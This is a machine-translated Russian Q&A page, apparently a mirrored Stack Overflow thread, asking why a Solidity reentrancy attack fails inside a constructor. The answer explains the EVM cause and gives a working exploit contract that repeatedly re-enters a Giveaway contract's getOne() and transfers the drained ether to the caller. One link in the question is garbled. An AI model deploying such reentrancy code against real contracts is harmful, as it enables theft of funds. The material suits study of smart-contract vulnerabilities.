Почему моя атака повторного входа терпит неудачу при выполнении в конструкторе?

Я пытаюсь воссоздать атаку повторного входа, используя уязвимость, указанную ниже: https://ropsten.etherscan.io/address/0xe350eef4aab5a55d4efaa2aa6f7d7420057eee2a#code

И нижеприведенный контракт на эксплуатацию: https://ropsten.etherscan.io/address4/06e95e9ec/address4x05e06e06e06e6e08e6e08e6 / а>

Если я правильно помню, при использовании функции msg.sender.call необязательно указывать стипендию. Тем не менее, функция отката в моем контракте на эксплуатацию вообще не срабатывает, так почему это происходит?


person Community    schedule 14.05.2018    source источник


Ответы (1)


Согласно комментарию к проблеме 583 Solidity, ваш код не выполняется правильно из-за ограничений EVM.

Когда вызывается конструктор контракта, код контракта еще не сохранен по его адресу. Таким образом, когда он получает эфир, по его адресу не запускается функция отката. Это можно решить, вызвав функцию test.getOne() из отдельной функции в контракте Hack.

Кроме того, ваш контракт на взлом можно уточнить, как показано ниже:

pragma solidity ^0.4.23;

contract Giveaway {
    function register(address toRegister) public;
    function getOne() public;
}

contract Hack {
    /**
     * It is actually better to store the variables
     * in 128-bit segments as the EVM is optimized in
     * handling 256-bit storage spaces and will pack
     * the two variables below in a single slot.
     */
    uint128 times = 3;
    uint128 current = 0;
    Giveaway test = Giveaway(0xe350EEf4aAb5a55d4efaa2Aa6f7D7420057EEe2A);

    // This function will execute correctly as it is not a constructor
    function hackGiveaway() public {
        test.register(address(this));
        test.getOne();
        drainThis();
    }

    // Left as is
    function() public payable{
        if(current<times){
            current++;
            test.getOne();
        }
    }

    /**
     * Internal functions do not change the context of 
     * msg.sender compared to public/external functions.
     */
    function drainThis() internal {
        msg.sender.transfer(address(this).balance);
    }
}
person Alex Papageorgiou    schedule 14.05.2018